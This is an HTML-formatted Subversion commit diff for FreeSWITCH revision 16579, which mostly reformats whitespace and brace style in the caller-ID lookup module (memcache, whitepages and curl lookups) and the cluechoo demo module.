</ins><span class="cx">         cmd = switch_core_sprintf(pool, &quot;get fs:cidlookup:name:%s&quot;, number);
</span><span class="cx">         if (switch_api_execute(&quot;memcache&quot;, cmd, NULL, &amp;stream) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 if (strncmp(&quot;-ERR&quot;, stream.data, 4)) {
</span><span class="lines">@@ -275,7 +282,7 @@
</span><span class="cx">                         src = NULL;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (name || area || src) {
</span><span class="cx">                 cid = switch_core_alloc(pool, sizeof(cid_data_t));
</span><span class="cx">                 switch_assert(cid);
</span><span class="lines">@@ -283,24 +290,21 @@
</span><span class="cx">                 cid-&gt;area = area;
</span><span class="cx">                 cid-&gt;src = src;
</span><span class="cx">         }
</span><del>-        
-        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;memcache: k:'%s', vn:'%s', va:'%s', vs:'%s'\n&quot;, 
-                                                cmd, 
-                                                (name) ? name : &quot;(null)&quot;,
-                                                (area) ? area : &quot;(null)&quot;,
-                                                (src) ? src : &quot;(null)&quot;
-                                                );
</del><ins>+
+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;memcache: k:'%s', vn:'%s', va:'%s', vs:'%s'\n&quot;,
+                                          cmd, (name) ? name : &quot;(null)&quot;, (area) ? area : &quot;(null)&quot;, (src) ? src : &quot;(null)&quot;);
</ins><span class="cx">         switch_safe_free(stream.data);
</span><span class="cx">         return cid;
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-switch_bool_t set_cache(switch_memory_pool_t *pool, char *number, cid_data_t *cid) {
</del><ins>+switch_bool_t set_cache(switch_memory_pool_t *pool, char *number, cid_data_t *cid)
+{
</ins><span class="cx">         char *cmd;
</span><span class="cx">         switch_bool_t success = SWITCH_TRUE;
</span><span class="cx">         switch_stream_handle_t stream = { 0 };
</span><del>-        
</del><ins>+
</ins><span class="cx">         SWITCH_STANDARD_STREAM(stream);
</span><del>-        
</del><ins>+
</ins><span class="cx">         cmd = switch_core_sprintf(pool, &quot;set fs:cidlookup:name:%s '%s' %d&quot;, number, cid-&gt;name, globals.cache_expire);
</span><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;memcache: %s\n&quot;, cmd);
</span><span class="cx">         if (switch_api_execute(&quot;memcache&quot;, cmd, NULL, &amp;stream) == SWITCH_STATUS_SUCCESS) {
</span><span class="lines">@@ -334,7 +338,7 @@
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-done:
</del><ins>+  done:
</ins><span class="cx">         switch_safe_free(stream.data);
</span><span class="cx">         return success;
</span><span class="cx"> }
</span><span class="lines">@@ -347,17 +351,18 @@
</span><span class="cx">         http_data-&gt;bytes += realsize;
</span><span class="cx"> 
</span><span class="cx">         if (http_data-&gt;bytes &gt; http_data-&gt;max_bytes) {
</span><del>-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Oversized file detected [%d bytes]\n&quot;, (int)http_data-&gt;bytes);
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Oversized file detected [%d bytes]\n&quot;, (int) http_data-&gt;bytes);
</ins><span class="cx">                 http_data-&gt;err = 1;
</span><span class="cx">                 return 0;
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        http_data-&gt;stream.write_function(
-                &amp;http_data-&gt;stream, &quot;%.*s&quot;,  realsize, ptr);
</del><ins>+        http_data-&gt;stream.write_function(&amp;http_data-&gt;stream, &quot;%.*s&quot;, realsize, ptr);
</ins><span class="cx">         return realsize;
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-static long do_lookup_url(switch_memory_pool_t *pool, switch_event_t *event, char **response, const char *query, struct curl_httppost *post, struct curl_slist *headers, int timeout) {
</del><ins>+static long do_lookup_url(switch_memory_pool_t *pool, switch_event_t *event, char **response, const char *query, struct curl_httppost *post,
+                                                  struct curl_slist *headers, int timeout)
+{
</ins><span class="cx">         switch_time_t start_time = switch_micro_time_now();
</span><span class="cx">         switch_time_t time_diff = 0;
</span><span class="cx">         CURL *curl_handle = NULL;
</span><span class="lines">@@ -365,20 +370,20 @@
</span><span class="cx">         char hostname[256] = &quot;&quot;;
</span><span class="cx"> 
</span><span class="cx">         struct http_data http_data;
</span><del>-        
</del><ins>+
</ins><span class="cx">         memset(&amp;http_data, 0, sizeof(http_data));
</span><del>-        
</del><ins>+
</ins><span class="cx">         http_data.max_bytes = 10240;
</span><span class="cx">         SWITCH_STANDARD_STREAM(http_data.stream);
</span><span class="cx"> 
</span><span class="cx">         gethostname(hostname, sizeof(hostname));
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;url: %s\n&quot;, query);
</span><span class="cx">         curl_handle = curl_easy_init();
</span><del>-        
</del><ins>+
</ins><span class="cx">         curl_easy_setopt(curl_handle, CURLOPT_VERBOSE, 0);
</span><span class="cx">         curl_easy_setopt(curl_handle, CURLOPT_NOSIGNAL, 1);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!strncasecmp(query, &quot;https&quot;, 5)) {
</span><span class="cx">                 curl_easy_setopt(curl_handle, CURLOPT_SSL_VERIFYPEER, 0);
</span><span class="cx">                 curl_easy_setopt(curl_handle, CURLOPT_SSL_VERIFYHOST, 0);
</span><span class="lines">@@ -394,7 +399,7 @@
</span><span class="cx">         curl_easy_setopt(curl_handle, CURLOPT_FOLLOWLOCATION, 1);
</span><span class="cx">         curl_easy_setopt(curl_handle, CURLOPT_MAXREDIRS, 10);
</span><span class="cx">         /*
</span><del>-         TIMEOUT_MS is introduced in 7.16.2, we have 7.16.0 in tree 
</del><ins>+           TIMEOUT_MS is introduced in 7.16.2, we have 7.16.0 in tree 
</ins><span class="cx">          */
</span><span class="cx"> #ifdef CURLOPT_TIMEOUT_MS
</span><span class="cx">         if (timeout &gt; 0) {
</span><span class="lines">@@ -406,7 +411,7 @@
</span><span class="cx">         if (timeout &gt; 0) {
</span><span class="cx">                 curl_easy_setopt(curl_handle, CURLOPT_TIMEOUT, timeout);
</span><span class="cx">         } else {
</span><del>-                curl_easy_setopt(curl_handle, CURLOPT_TIMEOUT, globals.curl_timeout/1000);
</del><ins>+                curl_easy_setopt(curl_handle, CURLOPT_TIMEOUT, globals.curl_timeout / 1000);
</ins><span class="cx">         }
</span><span class="cx"> #endif
</span><span class="cx">         curl_easy_setopt(curl_handle, CURLOPT_URL, query);
</span><span class="lines">@@ -417,34 +422,24 @@
</span><span class="cx">         curl_easy_perform(curl_handle);
</span><span class="cx">         curl_easy_getinfo(curl_handle, CURLINFO_RESPONSE_CODE, &amp;httpRes);
</span><span class="cx">         curl_easy_cleanup(curl_handle);
</span><del>-        
-        if (        http_data.stream.data &amp;&amp;
-                        !zstr((char *)http_data.stream.data) &amp;&amp;
-                        strcmp(&quot; &quot;, http_data.stream.data) ) {
-                
</del><ins>+
+        if (http_data.stream.data &amp;&amp; !zstr((char *) http_data.stream.data) &amp;&amp; strcmp(&quot; &quot;, http_data.stream.data)) {
+
</ins><span class="cx">                 /* don't return UNKNOWN */
</span><del>-                if (strcmp(&quot;UNKNOWN&quot;, http_data.stream.data) ||
-                        strcmp(&quot;UNAVAILABLE&quot;, http_data.stream.data)) {
</del><ins>+                if (strcmp(&quot;UNKNOWN&quot;, http_data.stream.data) || strcmp(&quot;UNAVAILABLE&quot;, http_data.stream.data)) {
</ins><span class="cx">                         *response = switch_core_strdup(pool, http_data.stream.data);
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
-        time_diff = (switch_micro_time_now() - start_time); /* convert to milli from micro */
-        
-        if ((time_diff/1000) &gt;= globals.curl_warnduration) {
</del><ins>+
+        time_diff = (switch_micro_time_now() - start_time);        /* convert to milli from micro */
+
+        if ((time_diff / 1000) &gt;= globals.curl_warnduration) {
</ins><span class="cx">                 switch_core_time_duration_t duration;
</span><span class="cx">                 switch_core_measure_time(time_diff, &amp;duration);
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, &quot;SLOW LOOKUP (&quot;
</span><del>-                        &quot;%um, &quot;
-                        &quot;%us, &quot;
-                        &quot;%ums&quot;
-                        &quot;): url: %s\n&quot;, 
-                        duration.min,
-                        duration.sec,
-                        duration.ms,
-                        query);
</del><ins>+                                                  &quot;%um, &quot; &quot;%us, &quot; &quot;%ums&quot; &quot;): url: %s\n&quot;, duration.min, duration.sec, duration.ms, query);
</ins><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_safe_free(http_data.stream.data);
</span><span class="cx">         return httpRes;
</span><span class="cx"> }
</span><span class="lines">@@ -463,19 +458,19 @@
</span><span class="cx"> 
</span><span class="cx">         /* NANPA check */
</span><span class="cx">         if (strlen(num) == 11 &amp;&amp; num[0] == '1') {
</span><del>-                num++; /* skip past leading 1 */
</del><ins>+                num++;                                        /* skip past leading 1 */
</ins><span class="cx">         } else {
</span><span class="cx">                 goto done;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, &quot;whitepages-cid&quot;, num);
</span><span class="cx">         switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, &quot;whitepages-api-key&quot;, globals.whitepages_apikey);
</span><del>-        
</del><ins>+
</ins><span class="cx">         query = switch_event_expand_headers(event, &quot;http://api.whitepages.com/reverse_phone/1.0/?phone=${whitepages-cid};api_key=${whitepages-api-key}&quot;);
</span><span class="cx">         do_lookup_url(pool, event, &amp;xml_s, query, NULL, NULL, 0);
</span><del>-        
</del><ins>+
</ins><span class="cx">         xml = switch_xml_parse_str_dup(xml_s);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!xml) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Unable to parse XML: %s\n&quot;, xml_s);
</span><span class="cx">                 goto done;
</span><span class="lines">@@ -487,14 +482,14 @@
</span><span class="cx">                 name = switch_core_strdup(pool, switch_xml_txt(node));
</span><span class="cx">                 goto area;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         node = switch_xml_get(xml, &quot;wp:listings&quot;, 0, &quot;wp:listing&quot;, 0, &quot;wp:displayname&quot;, -1);
</span><span class="cx">         if (node) {
</span><span class="cx">                 name = switch_core_strdup(pool, switch_xml_txt(node));
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-area:
-        
</del><ins>+  area:
+
</ins><span class="cx">         node = switch_xml_get(xml, &quot;wp:listings&quot;, 0, &quot;wp:listing&quot;, 0, &quot;wp:address&quot;, 0, &quot;wp:city&quot;, -1);
</span><span class="cx">         if (node) {
</span><span class="cx">                 city = switch_xml_txt(node);
</span><span class="lines">@@ -504,12 +499,12 @@
</span><span class="cx">         if (node) {
</span><span class="cx">                 state = switch_xml_txt(node);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (city || state) {
</span><span class="cx">                 area = switch_core_sprintf(pool, &quot;%s %s&quot;, city ? city : &quot;&quot;, state ? state : &quot;&quot;);
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-done:
</del><ins>+  done:
</ins><span class="cx"> 
</span><span class="cx">         if (query) {
</span><span class="cx">                 switch_safe_free(query);
</span><span class="lines">@@ -519,23 +514,24 @@
</span><span class="cx">         }
</span><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;whitepages XML: %s\n&quot;, xml_s);
</span><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;whitepages name: %s, area: %s\n&quot;, name ? name : &quot;(null)&quot;, area ? area : &quot;(null)&quot;);
</span><del>-        
</del><ins>+
</ins><span class="cx">         cid = switch_core_alloc(pool, sizeof(cid_data_t));
</span><span class="cx">         switch_assert(cid);
</span><del>-        
</del><ins>+
</ins><span class="cx">         cid-&gt;name = name;
</span><span class="cx">         cid-&gt;area = area;
</span><span class="cx">         cid-&gt;src = &quot;whitepages&quot;;
</span><span class="cx">         return cid;
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-static char *do_db_lookup(switch_memory_pool_t *pool, switch_event_t *event, const char *num, const char *sql) {
</del><ins>+static char *do_db_lookup(switch_memory_pool_t *pool, switch_event_t *event, const char *num, const char *sql)
+{
</ins><span class="cx">         char *name = NULL;
</span><span class="cx">         char *newsql = NULL;
</span><span class="cx">         char *err = NULL;
</span><span class="cx">         callback_t cbt = { 0 };
</span><span class="cx">         cbt.pool = pool;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (globals.odbc_dsn) {
</span><span class="cx">                 newsql = switch_event_expand_headers(event, sql);
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;SQL: %s\n&quot;, newsql);
</span><span class="lines">@@ -551,13 +547,14 @@
</span><span class="cx">         return name;
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-static cid_data_t *do_lookup(switch_memory_pool_t *pool, switch_event_t *event, const char *num, switch_bool_t skipurl, switch_bool_t skipcitystate) {
</del><ins>+static cid_data_t *do_lookup(switch_memory_pool_t *pool, switch_event_t *event, const char *num, switch_bool_t skipurl, switch_bool_t skipcitystate)
+{
</ins><span class="cx">         char *number = NULL;
</span><span class="cx">         char *name = NULL;
</span><span class="cx">         char *url_query = NULL;
</span><span class="cx">         cid_data_t *cid = NULL;
</span><span class="cx">         switch_bool_t save_cache = SWITCH_FALSE;
</span><del>-        
</del><ins>+
</ins><span class="cx">         cid = switch_core_alloc(pool, sizeof(cid_data_t));
</span><span class="cx">         switch_assert(cid);
</span><span class="cx"> 
</span><span class="lines">@@ -581,40 +578,37 @@
</span><span class="cx">                         goto done;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!skipurl &amp;&amp; globals.whitepages_apikey) {
</span><span class="cx">                 cid = do_whitepages_lookup(pool, event, number);
</span><del>-                if (cid &amp;&amp; cid-&gt;name) { /* only cache if we have a name */
</del><ins>+                if (cid &amp;&amp; cid-&gt;name) {        /* only cache if we have a name */
</ins><span class="cx">                         save_cache = SWITCH_TRUE;
</span><span class="cx">                         goto done;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-                
</del><ins>+
</ins><span class="cx">         if (!skipurl &amp;&amp; globals.url) {
</span><span class="cx">                 url_query = switch_event_expand_headers(event, globals.url);
</span><span class="cx">                 do_lookup_url(pool, event, &amp;name, url_query, NULL, NULL, 0);
</span><span class="cx">                 if (name) {
</span><span class="cx">                         cid-&gt;name = name;
</span><span class="cx">                         cid-&gt;src = &quot;url&quot;;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         save_cache = SWITCH_TRUE;
</span><span class="cx">                 }
</span><span class="cx">                 if (url_query != globals.url) {
</span><span class="cx">                         switch_safe_free(url_query);
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
-done:
</del><ins>+
+  done:
</ins><span class="cx">         if (!cid) {
</span><span class="cx">                 cid = switch_core_alloc(pool, sizeof(cid_data_t));
</span><span class="cx">                 switch_assert(cid);
</span><span class="cx">         }
</span><span class="cx">         /* append area if we can */
</span><del>-        if (!cid-&gt;area &amp;&amp;
-                !skipcitystate &amp;&amp; 
-                strlen(number) == 11 &amp;&amp; number[0] == '1' &amp;&amp;
-                switch_odbc_available() &amp;&amp; globals.odbc_dsn &amp;&amp; globals.citystate_sql) {
-                
</del><ins>+        if (!cid-&gt;area &amp;&amp; !skipcitystate &amp;&amp; strlen(number) == 11 &amp;&amp; number[0] == '1' &amp;&amp; switch_odbc_available() &amp;&amp; globals.odbc_dsn &amp;&amp; globals.citystate_sql) {
+
</ins><span class="cx">                 /* yes, this is really area */
</span><span class="cx">                 name = do_db_lookup(pool, event, number, globals.citystate_sql);
</span><span class="cx">                 if (name) {
</span><span class="lines">@@ -626,7 +620,7 @@
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!cid-&gt;area) {
</span><span class="cx">                 cid-&gt;area = &quot;UNKNOWN&quot;;
</span><span class="cx">         }
</span><span class="lines">@@ -636,12 +630,12 @@
</span><span class="cx">         if (!cid-&gt;src) {
</span><span class="cx">                 cid-&gt;src = &quot;UNKNOWN&quot;;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (globals.cache &amp;&amp; save_cache) {
</span><span class="cx">                 set_cache(pool, number, cid);
</span><span class="cx">         }
</span><del>-        
</del><span class="cx"> 
</span><ins>+
</ins><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;cidlookup source: %s\n&quot;, cid-&gt;src);
</span><span class="cx">         return cid;
</span><span class="cx"> }
</span><span class="lines">@@ -649,7 +643,7 @@
</span><span class="cx"> SWITCH_STANDARD_APP(cidlookup_app_function)
</span><span class="cx"> {
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_SUCCESS;
</span><del>-        
</del><ins>+
</ins><span class="cx">         char *argv[4] = { 0 };
</span><span class="cx">         int argc;
</span><span class="cx">         char *mydata = NULL;
</span><span class="lines">@@ -663,7 +657,7 @@
</span><span class="cx">         const char *number = NULL;
</span><span class="cx">         switch_bool_t skipurl = SWITCH_FALSE;
</span><span class="cx">         switch_bool_t skipcitystate = SWITCH_FALSE;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (session) {
</span><span class="cx">                 pool = switch_core_session_get_pool(session);
</span><span class="cx">         } else {
</span><span class="lines">@@ -674,7 +668,7 @@
</span><span class="cx">         if (!(mydata = switch_core_session_strdup(session, data))) {
</span><span class="cx">                 return;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if ((argc = switch_separate_string(mydata, ' ', argv, (sizeof(argv) / sizeof(argv[0]))))) {
</span><span class="cx">                 if (argc &gt; 0) {
</span><span class="cx">                         number = switch_core_session_strdup(session, argv[0]);
</span><span class="lines">@@ -687,20 +681,20 @@
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!number &amp;&amp; profile) {
</span><span class="cx">                 number = switch_caller_get_field_by_name(profile, &quot;caller_id_number&quot;);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (number) {
</span><span class="cx">                 cid = do_lookup(pool, event, number, skipurl, skipcitystate);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (switch_string_var_check_const(cid-&gt;name)) {
</span><del>-                switch_log_printf(SWITCH_CHANNEL_CHANNEL_LOG(channel), SWITCH_LOG_CRIT, &quot;Invalid CID data {%s} contains a variable\n&quot;, cid-&gt;name);        
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_CHANNEL_LOG(channel), SWITCH_LOG_CRIT, &quot;Invalid CID data {%s} contains a variable\n&quot;, cid-&gt;name);
</ins><span class="cx">                 switch_goto_status(SWITCH_STATUS_GENERR, done);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (cid &amp;&amp; channel) {
</span><span class="cx">                 switch_channel_set_variable(channel, &quot;original_caller_id_name&quot;, switch_core_strdup(pool, profile-&gt;caller_id_name));
</span><span class="cx">                 if (!zstr(cid-&gt;src)) {
</span><span class="lines">@@ -711,10 +705,10 @@
</span><span class="cx">                 }
</span><span class="cx">                 profile-&gt;caller_id_name = switch_core_strdup(profile-&gt;pool, cid-&gt;name);;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_goto_status(SWITCH_STATUS_SUCCESS, done);
</span><del>-        
-done:
</del><ins>+
+  done:
</ins><span class="cx">         if (event) {
</span><span class="cx">                 switch_event_destroy(&amp;event);
</span><span class="cx">         }
</span><span class="lines">@@ -722,6 +716,7 @@
</span><span class="cx">                 switch_core_destroy_memory_pool(&amp;pool);
</span><span class="cx">         }
</span><span class="cx"> }
</span><ins>+
</ins><span class="cx"> SWITCH_STANDARD_API(cidlookup_function)
</span><span class="cx"> {
</span><span class="cx">         switch_status_t status;
</span><span class="lines">@@ -736,7 +731,7 @@
</span><span class="cx">         switch_bool_t skipurl = SWITCH_FALSE;
</span><span class="cx">         switch_bool_t skipcitystate = SWITCH_FALSE;
</span><span class="cx">         switch_bool_t verbose = SWITCH_FALSE;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (zstr(cmd)) {
</span><span class="cx">                 switch_goto_status(SWITCH_STATUS_SUCCESS, usage);
</span><span class="cx">         }
</span><span class="lines">@@ -753,22 +748,18 @@
</span><span class="cx">                 if (argc &lt; 1) {
</span><span class="cx">                         switch_goto_status(SWITCH_STATUS_SUCCESS, usage);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (!strcmp(&quot;status&quot;, argv[0])) {
</span><del>-                        stream-&gt;write_function(stream, &quot;+OK\n url: %s\n cache: %s\n cache-expire: %d\n&quot;, 
-                                                                        globals.url ? globals.url : &quot;(null)&quot;,
-                                                                        (globals.cache) ? &quot;true&quot; : &quot;false&quot;,
-                                                                        globals.cache_expire);
-                        stream-&gt;write_function(stream, &quot; curl-timeout: %&quot; SWITCH_TIME_T_FMT &quot;\n curl-warn-duration: %&quot; SWITCH_TIME_T_FMT &quot;\n&quot;, 
-                                                                        globals.curl_timeout,
-                                                                        globals.curl_warnduration);
-                                                                        
-                        stream-&gt;write_function(stream, &quot; odbc-dsn: %s\n sql: %s\n citystate-sql: %s\n&quot;, 
-                                                                        globals.odbc_dsn ? globals.odbc_dsn : &quot;(null)&quot;,
-                                                                        globals.sql ? globals.sql : &quot;(null)&quot;,
-                                                                        globals.citystate_sql ? globals.citystate_sql : &quot;(null)&quot;);
-                        stream-&gt;write_function(stream, &quot; ODBC Compiled: %s\n&quot;, switch_odbc_available() ? &quot;true&quot; : &quot;false&quot;);
-                        
</del><ins>+                        stream-&gt;write_function(stream, &quot;+OK\n url: %s\n cache: %s\n cache-expire: %d\n&quot;,
+                                                                   globals.url ? globals.url : &quot;(null)&quot;, (globals.cache) ? &quot;true&quot; : &quot;false&quot;, globals.cache_expire);
+                        stream-&gt;write_function(stream, &quot; curl-timeout: %&quot; SWITCH_TIME_T_FMT &quot;\n curl-warn-duration: %&quot; SWITCH_TIME_T_FMT &quot;\n&quot;,
+                                                                   globals.curl_timeout, globals.curl_warnduration);
+
+                        stream-&gt;write_function(stream, &quot; odbc-dsn: %s\n sql: %s\n citystate-sql: %s\n&quot;,
+                                                                   globals.odbc_dsn ? globals.odbc_dsn : &quot;(null)&quot;,
+                                                                   globals.sql ? globals.sql : &quot;(null)&quot;, globals.citystate_sql ? globals.citystate_sql : &quot;(null)&quot;);
+                        stream-&gt;write_function(stream, &quot; ODBC Compiled: %s\n&quot;, switch_odbc_available()? &quot;true&quot; : &quot;false&quot;);
+
</ins><span class="cx">                         switch_goto_status(SWITCH_STATUS_SUCCESS, done);
</span><span class="cx">                 }
</span><span class="cx">                 for (i = 1; i &lt; argc; i++) {
</span><span class="lines">@@ -784,7 +775,7 @@
</span><span class="cx">                 cid = do_lookup(pool, event, argv[0], skipurl, skipcitystate);
</span><span class="cx">                 if (cid) {
</span><span class="cx">                         if (switch_string_var_check_const(cid-&gt;name)) {
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, &quot;Invalid CID data {%s} contains a variable\n&quot;, cid-&gt;name);        
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, &quot;Invalid CID data {%s} contains a variable\n&quot;, cid-&gt;name);
</ins><span class="cx">                                 stream-&gt;write_function(stream, &quot;-ERR Invalid CID data {%s} contains a variable\n&quot;, cid-&gt;name);
</span><span class="cx">                                 switch_goto_status(SWITCH_STATUS_SUCCESS, done);
</span><span class="cx">                         }
</span><span class="lines">@@ -798,11 +789,11 @@
</span><span class="cx">         }
</span><span class="cx">         switch_goto_status(SWITCH_STATUS_SUCCESS, done);
</span><span class="cx"> 
</span><del>-usage:
</del><ins>+  usage:
</ins><span class="cx">         stream-&gt;write_function(stream, &quot;-ERR\n%s\n&quot;, SYNTAX);
</span><span class="cx">         switch_goto_status(status, done);
</span><del>-        
-done: 
</del><ins>+
+  done:
</ins><span class="cx">         switch_safe_free(mydata);
</span><span class="cx">         if (event) {
</span><span class="cx">                 switch_event_destroy(&amp;event);
</span><span class="lines">@@ -822,16 +813,16 @@
</span><span class="cx">         *module_interface = switch_loadable_module_create_module_interface(pool, modname);
</span><span class="cx"> 
</span><span class="cx">         memset(&amp;globals, 0, sizeof(globals));
</span><del>-        
</del><ins>+
</ins><span class="cx">         globals.pool = pool;
</span><span class="cx"> 
</span><span class="cx">         do_config(SWITCH_FALSE);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if ((switch_event_bind_removable(modname, SWITCH_EVENT_RELOADXML, NULL, event_handler, NULL, &amp;reload_xml_event) != SWITCH_STATUS_SUCCESS)) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Couldn't bind event!\n&quot;);
</span><span class="cx">                 return SWITCH_STATUS_TERM;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         SWITCH_ADD_API(api_interface, &quot;cidlookup&quot;, &quot;cidlookup API&quot;, cidlookup_function, SYNTAX);
</span><span class="cx">         SWITCH_ADD_APP(app_interface, &quot;cidlookup&quot;, &quot;Perform a CID lookup&quot;, &quot;Perform a CID lookup&quot;,
</span><span class="cx">                                    cidlookup_app_function, &quot;[number [skipurl]]&quot;, SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
</span></span></pre></div>
<a id="freeswitchtrunksrcmodapplicationsmod_cluechoomod_cluechooc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/applications/mod_cluechoo/mod_cluechoo.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/applications/mod_cluechoo/mod_cluechoo.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_cluechoo/mod_cluechoo.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -52,11 +52,11 @@
</span><span class="cx"> SWITCH_STANDARD_APP(cluechoo_app)
</span><span class="cx"> {
</span><span class="cx">         switch_channel_t *channel = switch_core_session_get_channel(session);
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_channel_answer(channel);
</span><span class="cx">         switch_ivr_sleep(session, 1000, SWITCH_FALSE, NULL);
</span><span class="cx"> 
</span><del>-        while(switch_channel_ready(channel)) {
</del><ins>+        while (switch_channel_ready(channel)) {
</ins><span class="cx">                 if (vgo(0, session) &lt; 0) {
</span><span class="cx">                         break;
</span><span class="cx">                 }
</span><span class="lines">@@ -66,7 +66,7 @@
</span><span class="cx"> SWITCH_STANDARD_API(cluechoo_function)
</span><span class="cx"> {
</span><span class="cx">         //stream-&gt;write_function(stream, &quot;+OK Reloading\n&quot;);
</span><del>-        
</del><ins>+
</ins><span class="cx">         go(0);
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="lines">@@ -81,7 +81,7 @@
</span><span class="cx">         *module_interface = switch_loadable_module_create_module_interface(pool, modname);
</span><span class="cx"> 
</span><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, &quot;Hello World!\n&quot;);
</span><del>-        
</del><ins>+
</ins><span class="cx">         SWITCH_ADD_API(api_interface, &quot;cluechoo&quot;, &quot;Cluechoo API&quot;, cluechoo_function, &quot;syntax&quot;);
</span><span class="cx"> 
</span><span class="cx">         SWITCH_ADD_APP(app_interface, &quot;cluechoo&quot;, &quot;cluechoo&quot;, &quot;cluechoo&quot;, cluechoo_app, &quot;&quot;, SAF_NONE);
</span><span class="lines">@@ -134,36 +134,45 @@
</span><span class="cx"> #include &lt;unistd.h&gt;
</span><span class="cx"> #include &quot;sl.h&quot;
</span><span class="cx"> 
</span><del>-int ACCIDENT  = 0;
-int LOGO      = 0;
-int FLY       = 0;
</del><ins>+int ACCIDENT = 0;
+int LOGO = 0;
+int FLY = 0;
</ins><span class="cx"> 
</span><span class="cx"> int my_mvaddstr(int y, int x, char *str)
</span><span class="cx"> {
</span><del>-    for ( ; x &lt; 0; ++x, ++str)
-                if (*str == '\0')  return ERR;
-    for ( ; *str != '\0'; ++str, ++x)
-                if (mvaddch(y, x, *str) == ERR)  return ERR;
-    return OK;
</del><ins>+        for (; x &lt; 0; ++x, ++str)
+                if (*str == '\0')
+                        return ERR;
+        for (; *str != '\0'; ++str, ++x)
+                if (mvaddch(y, x, *str) == ERR)
+                        return ERR;
+        return OK;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> void option(char *str)
</span><span class="cx"> {
